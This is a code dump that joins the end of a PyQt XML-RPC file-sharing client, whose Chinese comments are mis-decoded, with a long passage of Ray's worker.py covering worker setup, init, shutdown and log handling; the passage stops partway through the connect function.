t.setDaemon(1) t.start() # ่ฎฉๆœๅŠกๅ™จๅ…ˆ่กŒไธ€ๆญฅ๏ผš sleep(HEAD_START) self.server = ServerProxy(url) urlfile = path.join(dirname, urlfile) for line in open(urlfile): line = line.strip() self.server.hello(line) def update_list(self,flag): slm = QStringListModel() self.qlist = self.server.list() # ๆ•ฐๆฎ็ฑปๅž‹ไธบๅˆ—่กจ๏ผŒ่€Œ้žๅญ—็ฌฆไธฒ slm.setStringList(self.qlist) # self.filelistView.setModel(slm) if flag==0: self.tips.setText("ๆœๅŠกๅฏๅŠจๆˆๅŠŸ,ๅทฒๆ˜พ็คบ้ป˜่ฎคๆ–‡ไปถ.") elif flag==1: self.tips.setText("ๆ–‡ไปถ่Žทๅ–ๆˆๅŠŸ๏ผŒๅˆ—่กจๅทฒๆ›ดๆ–ฐ.") if __name__ == "__main__": app = QApplication(sys.argv) # pyqt็ช—ๅฃๅฟ…้กปๅœจQApplicationๆ–นๆณ•ไธญไฝฟ็”จ window = PyQtLogic() # ๅฎžไพ‹ๅŒ–็ฑป window.show() # windows่ฐƒ็”จshowๆ–นๆณ• sys.exit(app.exec_()) # #ๆถˆๆฏ็ป“ๆŸ็š„ๆ—ถๅ€™๏ผŒ็ป“ๆŸ่ฟ›็จ‹๏ผŒๅนถ่ฟ”ๅ›ž0๏ผŒๆŽฅ็€่ฐƒ็”จsys.exit(0)้€€ๅ‡บ็จ‹ๅบ ''' self.label_4.setPixmap(QtGui.QPixmap("ๅฐ็”ต่ง†่ทณๅŠจ.gif")) self.label_4.setMovie(QtGui.QMovie("ๅฐ็”ต่ง†่ทณๅŠจ.gif")) '''
worker.py
from contextlib import contextmanager import colorama import atexit import faulthandler import hashlib import inspect import io import json import logging import os import redis import sys import threading import time import traceback from typing import Any, Dict, List, Iterator # Ray modules from ray.autoscaler._private.constants import AUTOSCALER_EVENTS from ray.autoscaler._private.util import DEBUG_AUTOSCALING_ERROR import ray.cloudpickle as pickle import ray.gcs_utils import ray._private.memory_monitor as memory_monitor import ray.node import ray.job_config import ray._private.parameter import ray.ray_constants as ray_constants import ray.remote_function import ray.serialization as serialization import ray._private.services as services import ray._private.runtime_env as runtime_env import ray._private.import_thread as import_thread from ray.util.tracing.tracing_helper import import_from_string import ray import setproctitle import ray.state from ray import ( ActorID, JobID, ObjectRef, Language, ) from ray import profiling from ray.exceptions import ( RaySystemError, RayError, RayTaskError, ObjectStoreFullError, ) from ray._private.function_manager import FunctionActorManager from ray._private.ray_logging import setup_logger from ray._private.ray_logging import global_worker_stdstream_dispatcher from ray._private.utils import check_oversized_pickle from ray.util.inspect import is_cython from ray.experimental.internal_kv import _internal_kv_get, \ _internal_kv_initialized from ray._private.client_mode_hook import client_mode_hook SCRIPT_MODE = 0 WORKER_MODE = 1 LOCAL_MODE = 2 SPILL_WORKER_MODE = 3 RESTORE_WORKER_MODE = 4 UTIL_WORKER_MODE = 5 ERROR_KEY_PREFIX = b"Error:" # Logger for this module. It should be configured at the entry point # into the program using Ray. Ray provides a default configuration at # entry/init points. logger = logging.getLogger(__name__) # Visible for testing. def _unhandled_error_handler(e: Exception): logger.error("Unhandled error (suppress with " "RAY_IGNORE_UNHANDLED_ERRORS=1): {}".format(e)) class Worker: """A class used to define the control flow of a worker process. Note: The methods in this class are considered unexposed to the user. The functions outside of this class are considered exposed. Attributes: node (ray.node.Node): The node this worker is attached to. mode: The mode of the worker. One of SCRIPT_MODE, LOCAL_MODE, and WORKER_MODE. cached_functions_to_run (List): A list of functions to run on all of the workers that should be exported as soon as connect is called. """ def __init__(self): """Initialize a Worker object.""" self.node = None self.mode = None self.cached_functions_to_run = [] self.actors = {} # When the worker is constructed. Record the original value of the # CUDA_VISIBLE_DEVICES environment variable. self.original_gpu_ids = ray._private.utils.get_cuda_visible_devices() self.memory_monitor = memory_monitor.MemoryMonitor() # A dictionary that maps from driver id to SerializationContext # TODO: clean up the SerializationContext once the job finished. self.serialization_context_map = {} self.function_actor_manager = FunctionActorManager(self) # This event is checked regularly by all of the threads so that they # know when to exit. self.threads_stopped = threading.Event() # Index of the current session. This number will # increment every time when `ray.shutdown` is called. self._session_index = 0 # If this is set, the next .remote call should drop into the # debugger, at the specified breakpoint ID. self.debugger_breakpoint = b"" # If this is set, ray.get calls invoked on the object ID returned # by the worker should drop into the debugger at the specified # breakpoint ID. self.debugger_get_breakpoint = b"" self._load_code_from_local = False # Used to toggle whether or not logs should be filtered to only those # produced in the same job. self.filter_logs_by_job = True @property def connected(self): """bool: True if Ray has been started and False otherwise.""" return self.node is not None @property def node_ip_address(self): self.check_connected() return self.node.node_ip_address @property def load_code_from_local(self): self.check_connected() return self._load_code_from_local @property def current_job_id(self): if hasattr(self, "core_worker"): return self.core_worker.get_current_job_id() return JobID.nil() @property def actor_id(self): if hasattr(self, "core_worker"): return self.core_worker.get_actor_id() return ActorID.nil() @property def current_task_id(self): return self.core_worker.get_current_task_id() @property def current_node_id(self): return self.core_worker.get_current_node_id() @property def namespace(self): return self.core_worker.get_job_config().ray_namespace @property def placement_group_id(self): return self.core_worker.get_placement_group_id() @property def worker_id(self): return self.core_worker.get_worker_id().binary() @property def should_capture_child_tasks_in_placement_group(self): return self.core_worker.should_capture_child_tasks_in_placement_group() @property def current_session_and_job(self): """Get the current session index and job id as pair.""" assert isinstance(self._session_index, int) assert isinstance(self.current_job_id, ray.JobID) return self._session_index, self.current_job_id @property def runtime_env(self): """Get the runtime env in json format""" return json.loads( self.core_worker.get_job_config().runtime_env.raw_json) def get_serialization_context(self, job_id=None): """Get the SerializationContext of the job that this worker is processing. Args: job_id: The ID of the job that indicates which job to get the serialization context for. Returns: The serialization context of the given job. """ # This function needs to be protected by a lock, because it will be # called by`register_class_for_serialization`, as well as the import # thread, from different threads. Also, this function will recursively # call itself, so we use RLock here. if job_id is None: job_id = self.current_job_id with self.lock: if job_id not in self.serialization_context_map: self.serialization_context_map[ job_id] = serialization.SerializationContext(self) return self.serialization_context_map[job_id] def check_connected(self): """Check if the worker is connected. Raises: Exception: An exception is raised if the worker is not connected. """ if not self.connected: if os.environ.get("RAY_ENABLE_AUTO_CONNECT", "") == "1": ray.client().connect() return raise RaySystemError("Ray has not been started yet. You can " "start Ray with 'ray.init()'.") def set_mode(self, mode): """Set the mode of the worker. The mode SCRIPT_MODE should be used if this Worker is a driver that is being run as a Python script or interactively in a shell. It will print information about task failures. The mode WORKER_MODE should be used if this Worker is not a driver. It will not print information about tasks. The mode LOCAL_MODE should be used if this Worker is a driver and if you want to run the driver in a manner equivalent to serial Python for debugging purposes. It will not send remote function calls to the scheduler and will instead execute them in a blocking fashion. Args: mode: One of SCRIPT_MODE, WORKER_MODE, and LOCAL_MODE. """ self.mode = mode def set_load_code_from_local(self, load_code_from_local): self._load_code_from_local = load_code_from_local def put_object(self, value, object_ref=None): """Put value in the local object store with object reference `object_ref`. This assumes that the value for `object_ref` has not yet been placed in the local object store. If the plasma store is full, the worker will automatically retry up to DEFAULT_PUT_OBJECT_RETRIES times. Each retry will delay for an exponentially doubling amount of time, starting with DEFAULT_PUT_OBJECT_DELAY. After this, exception will be raised. Args: value: The value to put in the object store. object_ref (ObjectRef): The object ref of the value to be put. If None, one will be generated. Returns: ObjectRef: The object ref the object was put under. Raises: ray.exceptions.ObjectStoreFullError: This is raised if the attempt to store the object fails because the object store is full even after multiple retries. """ # Make sure that the value is not an object ref. if isinstance(value, ObjectRef): raise TypeError( "Calling 'put' on an ray.ObjectRef is not allowed " "(similarly, returning an ray.ObjectRef from a remote " "function is not allowed). If you really want to " "do this, you can wrap the ray.ObjectRef in a list and " "call 'put' on it (or return it).") if self.mode == LOCAL_MODE: assert object_ref is None, ("Local Mode does not support " "inserting with an ObjectRef") serialized_value = self.get_serialization_context().serialize(value) # This *must* be the first place that we construct this python # ObjectRef because an entry with 0 local references is created when # the object is Put() in the core worker, expecting that this python # reference will be created. If another reference is created and # removed before this one, it will corrupt the state in the # reference counter. return ray.ObjectRef( self.core_worker.put_serialized_object( serialized_value, object_ref=object_ref)) def raise_errors(self, data_metadata_pairs, object_refs): out = self.deserialize_objects(data_metadata_pairs, object_refs) if "RAY_IGNORE_UNHANDLED_ERRORS" in os.environ: return for e in out: _unhandled_error_handler(e) def deserialize_objects(self, data_metadata_pairs, object_refs): # Function actor manager or the import thread may call pickle.loads # at the same time which can lead to failed imports # TODO: We may be better off locking on all imports or injecting a lock # into pickle.loads (https://github.com/ray-project/ray/issues/16304) with self.function_actor_manager.lock: context = self.get_serialization_context() return context.deserialize_objects(data_metadata_pairs, object_refs) def get_objects(self, object_refs, timeout=None): """Get the values in the object store associated with the IDs. Return the values from the local object store for object_refs. This will block until all the values for object_refs have been written to the local object store. Args: object_refs (List[object_ref.ObjectRef]): A list of the object refs whose values should be retrieved. timeout (float): timeout (float): The maximum amount of time in seconds to wait before returning. Returns: list: List of deserialized objects bytes: UUID of the debugger breakpoint we should drop into or b"" if there is no breakpoint. """ # Make sure that the values are object refs. for object_ref in object_refs: if not isinstance(object_ref, ObjectRef): raise TypeError( f"Attempting to call `get` on the value {object_ref}, " "which is not an ray.ObjectRef.") timeout_ms = int(timeout * 1000) if timeout else -1 data_metadata_pairs = self.core_worker.get_objects( object_refs, self.current_task_id, timeout_ms) debugger_breakpoint = b"" for (data, metadata) in data_metadata_pairs: if metadata: metadata_fields = metadata.split(b",") if len(metadata_fields) >= 2 and metadata_fields[1].startswith( ray_constants.OBJECT_METADATA_DEBUG_PREFIX): debugger_breakpoint = metadata_fields[1][len( ray_constants.OBJECT_METADATA_DEBUG_PREFIX):] return self.deserialize_objects(data_metadata_pairs, object_refs), debugger_breakpoint def run_function_on_all_workers(self, function, run_on_other_drivers=False): """Run arbitrary code on all of the workers. This function will first be run on the driver, and then it will be exported to all of the workers to be run. It will also be run on any new workers that register later. If ray.init has not been called yet, then cache the function and export it later. Args: function (Callable): The function to run on all of the workers. It takes only one argument, a worker info dict. If it returns anything, its return values will not be used. run_on_other_drivers: The boolean that indicates whether we want to run this function on other drivers. One case is we may need to share objects across drivers. """ # If ray.init has not been called yet, then cache the function and # export it when connect is called. Otherwise, run the function on all # workers. if self.mode is None: self.cached_functions_to_run.append(function) else: # Attempt to pickle the function before we need it. This could # fail, and it is more convenient if the failure happens before we # actually run the function locally. pickled_function = pickle.dumps(function) function_to_run_id = hashlib.shake_128(pickled_function).digest( ray_constants.ID_SIZE) key = b"FunctionsToRun:" + function_to_run_id # First run the function on the driver. # We always run the task locally. function({"worker": self}) # Check if the function has already been put into redis. function_exported = self.redis_client.setnx(b"Lock:" + key, 1) if not function_exported: # In this case, the function has already been exported, so # we don't need to export it again. return check_oversized_pickle(pickled_function, function.__name__, "function", self) # Run the function on all workers. self.redis_client.hset( key, mapping={ "job_id": self.current_job_id.binary(), "function_id": function_to_run_id, "function": pickled_function, "run_on_other_drivers": str(run_on_other_drivers), }) self.redis_client.rpush("Exports", key) # TODO(rkn): If the worker fails after it calls setnx and before it # successfully completes the hset and rpush, then the program will # most likely hang. This could be fixed by making these three # operations into a transaction (or by implementing a custom # command that does all three things). def main_loop(self): """The main loop a worker runs to receive and execute tasks.""" def sigterm_handler(signum, frame): shutdown(True) sys.exit(1) ray._private.utils.set_sigterm_handler(sigterm_handler) self.core_worker.run_task_loop() sys.exit(0) def print_logs(self): """Prints log messages from workers on all nodes in the same job. """ pubsub_client = self.redis_client.pubsub( ignore_subscribe_messages=True) pubsub_client.subscribe(ray.gcs_utils.LOG_FILE_CHANNEL) localhost = services.get_node_ip_address() try: # Keep track of the number of consecutive log messages that have # been received with no break in between. If this number grows # continually, then the worker is probably not able to process the # log messages as rapidly as they are coming in. num_consecutive_messages_received = 0 job_id_binary = ray._private.utils.binary_to_hex( self.current_job_id.binary()) while True: # Exit if we received a signal that we should stop. if self.threads_stopped.is_set(): return msg = pubsub_client.get_message() if msg is None: num_consecutive_messages_received = 0 self.threads_stopped.wait(timeout=0.01) continue num_consecutive_messages_received += 1 if (num_consecutive_messages_received % 100 == 0 and num_consecutive_messages_received > 0): logger.warning( "The driver may not be able to keep up with the " "stdout/stderr of the workers. To avoid forwarding " "logs to the driver, use " "'ray.init(log_to_driver=False)'.") data = json.loads(ray._private.utils.decode(msg["data"])) # Don't show logs from other drivers. if (self.filter_logs_by_job and data["job"] and job_id_binary != data["job"]): continue data["localhost"] = localhost global_worker_stdstream_dispatcher.emit(data) except (OSError, redis.exceptions.ConnectionError) as e: logger.error(f"print_logs: {e}") finally: # Close the pubsub client to avoid leaking file descriptors. pubsub_client.close() @client_mode_hook def get_gpu_ids(): """Get the IDs of the GPUs that are available to the worker. If the CUDA_VISIBLE_DEVICES environment variable was set when the worker started up, then the IDs returned by this method will be a subset of the IDs in CUDA_VISIBLE_DEVICES. If not, the IDs will fall in the range [0, NUM_GPUS - 1], where NUM_GPUS is the number of GPUs that the node has. Returns: A list of GPU IDs. """ worker = global_worker worker.check_connected() # TODO(ilr) Handle inserting resources in local mode all_resource_ids = global_worker.core_worker.resource_ids() assigned_ids = set() for resource, assignment in all_resource_ids.items(): # Handle both normal and placement group GPU resources. if resource == "GPU" or resource.startswith("GPU_group_"): for resource_id, _ in assignment: assigned_ids.add(resource_id) assigned_ids = list(assigned_ids) # If the user had already set CUDA_VISIBLE_DEVICES, then respect that (in # the sense that only GPU IDs that appear in CUDA_VISIBLE_DEVICES should be # returned). if global_worker.original_gpu_ids is not None: assigned_ids = [ global_worker.original_gpu_ids[gpu_id] for gpu_id in assigned_ids ] # Give all GPUs in local_mode. if global_worker.mode == LOCAL_MODE: max_gpus = global_worker.node.get_resource_spec().num_gpus assigned_ids = global_worker.original_gpu_ids[:max_gpus] return assigned_ids def get_resource_ids(): """Get the IDs of the resources that are available to the worker. Returns: A dictionary mapping the name of a resource to a list of pairs, where each pair consists of the ID of a resource and the fraction of that resource reserved for this worker. """ worker = global_worker worker.check_connected() if _mode() == LOCAL_MODE: raise RuntimeError( "ray.worker.get_resource_ids() currently does not work in " "local_mode.") return global_worker.core_worker.resource_ids() def get_dashboard_url(): """Get the URL to access the Ray dashboard. Note that the URL does not specify which node the dashboard is on. Returns: The URL of the dashboard as a string. """ worker = global_worker worker.check_connected() return _global_node.webui_url global_worker = Worker() """Worker: The global Worker object for this worker process. We use a global Worker object to ensure that there is a single worker object per worker process. """ _global_node = None """ray.node.Node: The global node object that is created by ray.init().""" @client_mode_hook def init( address=None, *, num_cpus=None, num_gpus=None, resources=None, object_store_memory=None, local_mode=False, ignore_reinit_error=False, include_dashboard=None, dashboard_host=ray_constants.DEFAULT_DASHBOARD_IP, dashboard_port=None, job_config=None, configure_logging=True, logging_level=logging.INFO, logging_format=ray_constants.LOGGER_FORMAT, log_to_driver=True, namespace=None, # The following are unstable parameters and their use is discouraged. _enable_object_reconstruction=False, _redis_max_memory=None, _plasma_directory=None, _node_ip_address=ray_constants.NODE_DEFAULT_IP, _driver_object_store_memory=None, _memory=None, _redis_password=ray_constants.REDIS_DEFAULT_PASSWORD, _temp_dir=None, _lru_evict=False, _metrics_export_port=None, _system_config=None, _tracing_startup_hook=None): """ Connect to an existing Ray cluster or start one and connect to it. This method handles two cases; either a Ray cluster already exists and we just attach this driver to it or we start all of the processes associated with a Ray cluster and attach to the newly started cluster. To start Ray and all of the relevant processes, use this as follows: .. code-block:: python ray.init() To connect to an existing Ray cluster, use this as follows (substituting in the appropriate address): .. code-block:: python ray.init(address="123.45.67.89:6379") You can also define an environment variable called `RAY_ADDRESS` in the same format as the `address` parameter to connect to an existing cluster with ray.init() or ray.init(address="auto"). Args: address (str): The address of the Ray cluster to connect to. If this address is not provided, then this command will start Redis, a raylet, a plasma store, a plasma manager, and some workers. It will also kill these processes when Python exits. If the driver is running on a node in a Ray cluster, using `auto` as the value tells the driver to detect the the cluster, removing the need to specify a specific node address. If the environment variable `RAY_ADDRESS` is defined and the address is None or "auto", Ray will set `address` to `RAY_ADDRESS`. num_cpus (int): Number of CPUs the user wishes to assign to each raylet. By default, this is set based on virtual cores. num_gpus (int): Number of GPUs the user wishes to assign to each raylet. By default, this is set based on detected GPUs. resources: A dictionary mapping the names of custom resources to the quantities for them available. object_store_memory: The amount of memory (in bytes) to start the object store with. By default, this is automatically set based on available system memory. local_mode (bool): If true, the code will be executed serially. This is useful for debugging. ignore_reinit_error: If true, Ray suppresses errors from calling ray.init() a second time. Ray won't be restarted. include_dashboard: Boolean flag indicating whether or not to start the Ray dashboard, which displays the status of the Ray cluster. If this argument is None, then the UI will be started if the relevant dependencies are present. dashboard_host: The host to bind the dashboard server to. Can either be localhost (127.0.0.1) or 0.0.0.0 (available from all interfaces). By default, this is set to localhost to prevent access from external machines. dashboard_port(int, None): The port to bind the dashboard server to. Defaults to 8265 and Ray will automatically find a free port if 8265 is not available. job_config (ray.job_config.JobConfig): The job configuration. configure_logging: True (default) if configuration of logging is allowed here. Otherwise, the user may want to configure it separately. logging_level: Logging level, defaults to logging.INFO. Ignored unless "configure_logging" is true. logging_format: Logging format, defaults to string containing a timestamp, filename, line number, and message. See the source file ray_constants.py for details. Ignored unless "configure_logging" is true. log_to_driver (bool): If true, the output from all of the worker processes on all nodes will be directed to the driver. _enable_object_reconstruction (bool): If True, when an object stored in the distributed plasma store is lost due to node failure, Ray will attempt to reconstruct the object by re-executing the task that created the object. Arguments to the task will be recursively reconstructed. If False, then ray.ObjectLostError will be thrown. _redis_max_memory: Redis max memory. _plasma_directory: Override the plasma mmap file directory. _node_ip_address (str): The IP address of the node that we are on. _driver_object_store_memory (int): Limit the amount of memory the driver can use in the object store for creating objects. _memory: Amount of reservable memory resource to create. _redis_password (str): Prevents external clients without the password from connecting to Redis if provided. _temp_dir (str): If provided, specifies the root temporary directory for the Ray process. Defaults to an OS-specific conventional location, e.g., "/tmp/ray". _metrics_export_port(int): Port number Ray exposes system metrics through a Prometheus endpoint. It is currently under active development, and the API is subject to change. _system_config (dict): Configuration for overriding RayConfig defaults. For testing purposes ONLY. _tracing_startup_hook (str): If provided, turns on and sets up tracing for Ray. Must be the name of a function that takes no arguments and sets up a Tracer Provider, Remote Span Processors, and (optional) additional instruments. See more at docs.ray.io/tracing.html. It is currently under active development, and the API is subject to change. Returns: Address information about the started processes. Raises: Exception: An exception is raised if an inappropriate combination of arguments is passed in. """ # Try to increase the file descriptor limit, which is too low by # default for Ray: https://github.com/ray-project/ray/issues/11239 try: import resource soft, hard = resource.getrlimit(resource.RLIMIT_NOFILE) if soft < hard: # https://github.com/ray-project/ray/issues/12059 soft = max(soft, min(hard, 65536)) logger.debug("Automatically increasing RLIMIT_NOFILE to max " "value of {}".format(hard)) try: resource.setrlimit(resource.RLIMIT_NOFILE, (soft, hard)) except ValueError: logger.debug("Failed to raise limit.") soft, _ = resource.getrlimit(resource.RLIMIT_NOFILE) if soft < 4096: logger.warning( "File descriptor limit {} is too low for production " "servers and may result in connection errors. " "At least 8192 is recommended. --- " "Fix with 'ulimit -n 8192'".format(soft)) except ImportError: logger.debug("Could not import resource module (on Windows)") pass address_env_var = os.environ.get( ray_constants.RAY_ADDRESS_ENVIRONMENT_VARIABLE) if address_env_var: if address is None or address == "auto": address = address_env_var # Convert hostnames to numerical IP address. if _node_ip_address is not None: node_ip_address = services.address_to_ip(_node_ip_address) raylet_ip_address = node_ip_address if address: redis_address, _, _ = services.validate_redis_address(address) else: redis_address = None if configure_logging: setup_logger(logging_level, logging_format) if redis_address is not None: logger.info( f"Connecting to existing Ray cluster at address: {redis_address}") if local_mode: driver_mode = LOCAL_MODE else: driver_mode = SCRIPT_MODE if global_worker.connected: if ignore_reinit_error: logger.info( "Calling ray.init() again after it has already been called.") return else: raise RuntimeError("Maybe you called ray.init twice by accident? " "This error can be suppressed by passing in " "'ignore_reinit_error=True' or by calling " "'ray.shutdown()' prior to 'ray.init()'.") _system_config = _system_config or {} if not isinstance(_system_config, dict): raise TypeError("The _system_config must be a dict.") global _global_node if redis_address is None: # In this case, we need to start a new cluster. ray_params = ray._private.parameter.RayParams( redis_address=redis_address, node_ip_address=node_ip_address, raylet_ip_address=raylet_ip_address, object_ref_seed=None, driver_mode=driver_mode, redirect_worker_output=None, redirect_output=None, num_cpus=num_cpus, num_gpus=num_gpus, resources=resources, num_redis_shards=None, redis_max_clients=None, redis_password=_redis_password, plasma_directory=_plasma_directory, huge_pages=None, include_dashboard=include_dashboard, dashboard_host=dashboard_host, dashboard_port=dashboard_port, memory=_memory, object_store_memory=object_store_memory, redis_max_memory=_redis_max_memory, plasma_store_socket_name=None, temp_dir=_temp_dir, # We need to disable it if runtime env is not set. # Uploading happens after core worker is created. And we should # prevent default worker being created before uploading. # TODO (yic): Have a separate connection to gcs client when # removal redis is done. The uploading should happen before this # one. start_initial_python_workers_for_first_job=( job_config is None or job_config.runtime_env is None), _system_config=_system_config, lru_evict=_lru_evict, enable_object_reconstruction=_enable_object_reconstruction, metrics_export_port=_metrics_export_port, tracing_startup_hook=_tracing_startup_hook) # Start the Ray processes. We set shutdown_at_exit=False because we # shutdown the node in the ray.shutdown call that happens in the atexit # handler. We still spawn a reaper process in case the atexit handler # isn't called. _global_node = ray.node.Node( head=True, shutdown_at_exit=False, spawn_reaper=True, ray_params=ray_params) else: # In this case, we are connecting to an existing cluster. if num_cpus is not None or num_gpus is not None: raise ValueError( "When connecting to an existing cluster, num_cpus " "and num_gpus must not be provided.") if resources is not None: raise ValueError("When connecting to an existing cluster, " "resources must not be provided.") if object_store_memory is not None: raise ValueError("When connecting to an existing cluster, " "object_store_memory must not be provided.") if _system_config is not None and len(_system_config) != 0: raise ValueError("When connecting to an existing cluster, " "_system_config must not be provided.") if _enable_object_reconstruction: raise ValueError( "When connecting to an existing cluster, " "_enable_object_reconstruction must not be provided.") # In this case, we only need to connect the node. ray_params = ray._private.parameter.RayParams( node_ip_address=node_ip_address, raylet_ip_address=raylet_ip_address, redis_address=redis_address, redis_password=_redis_password, object_ref_seed=None, temp_dir=_temp_dir, _system_config=_system_config, lru_evict=_lru_evict, enable_object_reconstruction=_enable_object_reconstruction, metrics_export_port=_metrics_export_port) _global_node = ray.node.Node( ray_params, head=False, shutdown_at_exit=False, spawn_reaper=False, connect_only=True) if driver_mode == SCRIPT_MODE and job_config: # Rewrite the URI. Note the package isn't uploaded to the URI until # later in the connect runtime_env.rewrite_runtime_env_uris(job_config) connect( _global_node, mode=driver_mode, log_to_driver=log_to_driver, worker=global_worker, driver_object_store_memory=_driver_object_store_memory, job_id=None, namespace=namespace, job_config=job_config) if job_config and job_config.code_search_path: global_worker.set_load_code_from_local(True) else: # Because `ray.shutdown()` doesn't reset this flag, for multiple # sessions in one process, the 2nd `ray.init()` will reuse the # flag of last session. For example: # ray.init(load_code_from_local=True) # ray.shutdown() # ray.init() # # Here the flag `load_code_from_local` is still True if we # # doesn't have this `else` branch. # ray.shutdown() global_worker.set_load_code_from_local(False) for hook in _post_init_hooks: hook() node_id = global_worker.core_worker.get_current_node_id() return dict(_global_node.address_info, node_id=node_id.hex()) # Functions to run as callback after a successful ray init. _post_init_hooks = [] @client_mode_hook def shutdown(_exiting_interpreter=False): """Disconnect the worker, and terminate processes started by ray.init(). This will automatically run at the end when a Python process that uses Ray exits. It is ok to run this twice in a row. The primary use case for this function is to cleanup state between tests. Note that this will clear any remote function definitions, actor definitions, and existing actors, so if you wish to use any previously defined remote functions or actors after calling ray.shutdown(), then you need to redefine them. If they were defined in an imported module, then you will need to reload the module. Args: _exiting_interpreter (bool): True if this is called by the atexit hook and false otherwise. If we are exiting the interpreter, we will wait a little while to print any extra error messages. """ if _exiting_interpreter and global_worker.mode == SCRIPT_MODE: # This is a duration to sleep before shutting down everything in order # to make sure that log messages finish printing. time.sleep(0.5) disconnect(_exiting_interpreter) # We need to destruct the core worker here because after this function, # we will tear down any processes spawned by ray.init() and the background # IO thread in the core worker doesn't currently handle that gracefully. if hasattr(global_worker, "gcs_client"): del global_worker.gcs_client if hasattr(global_worker, "core_worker"): del global_worker.core_worker # Disconnect global state from GCS. ray.state.state.disconnect() # Shut down the Ray processes. global _global_node if _global_node is not None: if _global_node.is_head(): _global_node.destroy_external_storage() _global_node.kill_all_processes(check_alive=False, allow_graceful=True) _global_node = None # TODO(rkn): Instead of manually resetting some of the worker fields, we # should simply set "global_worker" to equal "None" or something like that. global_worker.set_mode(None) atexit.register(shutdown, True) # TODO(edoakes): this should only be set in the driver. def sigterm_handler(signum, frame): sys.exit(signum) try: ray._private.utils.set_sigterm_handler(sigterm_handler) except ValueError: logger.warning("Failed to set SIGTERM handler, processes might" "not be cleaned up properly on exit.") # Define a custom excepthook so that if the driver exits with an exception, we # can push that exception to Redis. normal_excepthook = sys.excepthook def custom_excepthook(type, value, tb): # If this is a driver, push the exception to GCS worker table. if global_worker.mode == SCRIPT_MODE and hasattr(global_worker, "worker_id"): error_message = "".join(traceback.format_tb(tb)) worker_id = global_worker.worker_id worker_type = ray.gcs_utils.DRIVER worker_info = {"exception": error_message} ray.state.state._check_connected() ray.state.state.add_worker(worker_id, worker_type, worker_info) # Call the normal excepthook. normal_excepthook(type, value, tb) sys.excepthook = custom_excepthook def print_to_stdstream(data): print_file = sys.stderr if data["is_err"] else sys.stdout print_worker_logs(data, print_file) # Start time of this process, used for relative time logs. t0 = time.time() autoscaler_log_fyi_printed = False def filter_autoscaler_events(lines: List[str]) -> Iterator[str]: """Given raw log lines from the monitor, return only autoscaler events. Autoscaler events are denoted by the ":event_summary:" magic token. """ global autoscaler_log_fyi_printed if not AUTOSCALER_EVENTS: return # Print out autoscaler events only, ignoring other messages. for line in lines: if ":event_summary:" in line: if not autoscaler_log_fyi_printed: yield ("Tip: use `ray status` to view detailed " "autoscaling status. To disable autoscaler event " "messages, you can set AUTOSCALER_EVENTS=0.") autoscaler_log_fyi_printed = True # The event text immediately follows the ":event_summary:" # magic token. yield line.split(":event_summary:")[1] def time_string() -> str: """Return the relative time from the start of this job. For example, 15m30s. """ delta = time.time() - t0 hours = 0 minutes = 0 while delta > 3600: hours += 1 delta -= 3600 while delta > 60: minutes += 1 delta -= 60 output = "" if hours: output += "{}h".format(hours) if minutes: output += "{}m".format(minutes) output += "{}s".format(int(delta)) return output def print_worker_logs(data: Dict[str, str], print_file: Any): def prefix_for(data: Dict[str, str]) -> str: """The PID prefix for this log line.""" if data["pid"] in ["autoscaler", "raylet"]: return "" else: return "pid=" def color_for(data: Dict[str, str]) -> str: """The color for this log line.""" if data["pid"] == "raylet": return colorama.Fore.YELLOW elif data["pid"] == "autoscaler": return colorama.Style.BRIGHT + colorama.Fore.CYAN else: return colorama.Fore.CYAN if data["pid"] == "autoscaler": pid = "{} +{}".format(data["pid"], time_string()) lines = filter_autoscaler_events(data["lines"]) else: pid = data["pid"] lines = data["lines"] if data["ip"] == data["localhost"]: for line in lines: print( "{}{}({}{}){} {}".format(colorama.Style.DIM, color_for(data), prefix_for(data), pid, colorama.Style.RESET_ALL, line), file=print_file) else: for line in lines: print( "{}{}({}{}, ip={}){} {}".format( colorama.Style.DIM, color_for(data), prefix_for(data), pid, data["ip"], colorama.Style.RESET_ALL, line), file=print_file) def listen_error_messages_raylet(worker, threads_stopped): """Listen to error messages in the background on the driver. This runs in a separate thread on the driver and pushes (error, time) tuples to the output queue. Args: worker: The worker class that this thread belongs to. threads_stopped (threading.Event): A threading event used to signal to the thread that it should exit. """ worker.error_message_pubsub_client = worker.redis_client.pubsub( ignore_subscribe_messages=True) # Exports that are published after the call to # error_message_pubsub_client.subscribe and before the call to # error_message_pubsub_client.listen will still be processed in the loop. # Really we should just subscribe to the errors for this specific job. # However, currently all errors seem to be published on the same channel. error_pubsub_channel = ray.gcs_utils.RAY_ERROR_PUBSUB_PATTERN worker.error_message_pubsub_client.psubscribe(error_pubsub_channel) try: if _internal_kv_initialized(): # Get any autoscaler errors that occurred before the call to # subscribe. error_message = _internal_kv_get(DEBUG_AUTOSCALING_ERROR) if error_message is not None: logger.warning(error_message.decode()) while True: # Exit if we received a signal that we should stop. if threads_stopped.is_set(): return msg = worker.error_message_pubsub_client.get_message() if msg is None: threads_stopped.wait(timeout=0.01) continue pubsub_msg = ray.gcs_utils.PubSubMessage.FromString(msg["data"]) error_data = ray.gcs_utils.ErrorTableData.FromString( pubsub_msg.data) job_id = error_data.job_id if job_id not in [ worker.current_job_id.binary(), JobID.nil().binary(), ]: continue error_message = error_data.error_message if (error_data.type == ray_constants.TASK_PUSH_ERROR): # TODO(ekl) remove task push errors entirely now that we have # the separate unhandled exception handler. pass else: logger.warning(error_message) except (OSError, redis.exceptions.ConnectionError) as e: logger.error(f"listen_error_messages_raylet: {e}") finally: # Close the pubsub client to avoid leaking file descriptors. worker.error_message_pubsub_client.close() @client_mode_hook def is_initialized(): """Check if ray.init has been called yet. Returns: True if ray.init has already been called and false otherwise. """ return ray.worker.global_worker.connected def connect(node, mode=WORKER_MODE, log_to_driver=False, worker=global_worker, driver_object_store_memory=None, job_id=None, namespace=None, job_config=None, runtime_env_hash=0, worker_shim_pid=0): """Connect this worker to the raylet, to Plasma, and to Redis. Args: node (ray.node.Node): The node to connect. mode: The mode of the worker. One of SCRIPT_MODE, WORKER_MODE, and LOCAL_MODE. log_to_driver (bool): If true, then output from all of the worker processes on all nodes will be directed to the driver. worker: The ray.Worker instance. driver_object_store_memory: Limit the amount of memory the driver can use in the object store when creating objects. job_id: The ID of job. If it's None, then we will generate one. job_config (ray.job_config.JobConfig): The job configuration. runtime_env_hash (int): The hash of the runtime env for this worker. worker_shim_pid (int): The PID of the process for setup worker runtime env. """ # Do some basic checking to make sure we didn't call ray.init twice. error_message = "Perhaps you called ray.init twice by accident?" assert not worker.connected, error_message assert worker.cached_functions_to_run is not None, error_message # Enable nice stack traces on SIGSEGV etc. try: if not 